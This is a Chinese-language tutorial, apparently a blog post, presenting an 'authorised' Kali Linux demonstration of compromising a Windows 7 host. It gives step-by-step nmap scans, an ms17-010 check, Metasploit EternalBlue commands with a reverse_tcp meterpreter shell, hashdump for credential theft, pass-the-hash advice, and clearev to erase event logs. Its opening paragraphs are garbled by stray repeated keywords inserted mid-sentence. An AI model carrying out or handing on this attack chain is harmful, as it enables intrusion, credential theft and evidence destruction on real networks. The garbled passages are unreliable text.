把Kali的通过网卡调成混杂模式，扫描到目标IP开放了445端口的入侵那一刻，我就知道这活儿成了大半。电脑别误会，教程我不是通过在教你干违法的事——这篇文章讲的是如何在你自己有授权的测试环境里，用Kali完成一次标准的入侵SMB远程代码执行入侵演示。真实攻击中没人会提前告诉你IP，电脑但靶机不一样，教程它就在那，通过等着你犯错。入侵

第一步，电脑信息收集。教程用nmap扫一下目标：nmap -sS -p- -T4 192.168.1.105。通过全端口扫描会花点时间，入侵但你得耐心。电脑看到445和3389开着，心里就有底了——Windows系统，SMB服务暴露在外。再补一句nmap -sV --script=smb-vuln-ms17-010 192.168.1.105，如果返回“VULNERABLE”字样，恭喜，永恒之蓝的洞还在。别嫌老，内网里没打补丁的机器比你想象的多得多。

拿到漏洞情报后直接上MSF。启动msfconsole，输入use exploit/windows/smb/ms17_010_eternalblue，然后set RHOSTS 192.168.1.105。这里有个小细节——如果你用的是默认payload，大概率会报错“STATUS_INSUFFICIENT_SERVER_RESOURCES”。别慌，换成set PAYLOAD windows/x64/meterpreter/reverse_tcp，再set LHOST 你的Kali IP。然后exploit。

屏幕刷了几行代码，突然停住，出现meterpreter >提示符。那一刻的感觉很微妙——像撬开一扇没上锁的后门，你甚至没费什么力气。输入sysinfo，看到“Windows 7 Professional SP1”的字样，心里踏实了。接着getuid，显示NT AUTHORITY\SYSTEM，最高权限，连提权都省了。这时你才真正意识到，攻击的残酷之处不在于技术多高明，而在于目标太脆弱。

拿到shell之后别急着走。输入hashdump，把SAM文件里的哈希值导出来。这些NTLM哈希可以直接用hashcat离线破解，或者干脆pass-the-hash继续横向移动。我在一次授权测试里见过客户的内网，一台老服务器被种了挖矿木马，就是因为管理员密码是“Admin@123”——哈希一跑就出来了。你永远不知道弱密码能串起多少台机器。

最后一步，清理痕迹。输入clearev清掉事件日志，然后background把会话挂后台。别删文件，别改配置——真正的测试要留证据，不是搞破坏。你退出MSF后，目标机器还是那个样子，只是你心里清楚，它已经不再安全了。

整个过程不到五分钟，攻击路径清晰得像教科书。但现实中，你面对的可能是打了补丁的系统、开了防火墙的端口、甚至装了EDR的终端——那时ms17_010就不灵了，你得换思路，比如钓鱼邮件投递payload，或者利用Web漏洞打点。技术永远在变，不变的是“信息收集-漏洞利用-权限维持”这条老路子。

说句实话，Kali里工具再多，真正值钱的是你判断“该用哪个漏洞”的经验。这次入侵演示用的是最笨的办法——直接打已知漏洞。但换个场景，如果目标IP是台Linux服务器呢？那你得先看SSH版本，试试弱口令爆破，或者找找有没有暴露的Web服务。入侵不是点几下鼠标的事，是耐心和眼力的较量。

靶机重启后一切恢复原样，但你脑子里那个“如何一步步拿下它”的流程会留下来。下次换个IP，换个系统，你照样能走通。这就是Kali教给你的——不是某个具体的exploit，而是那种“无论目标多硬，总有办法”的底气。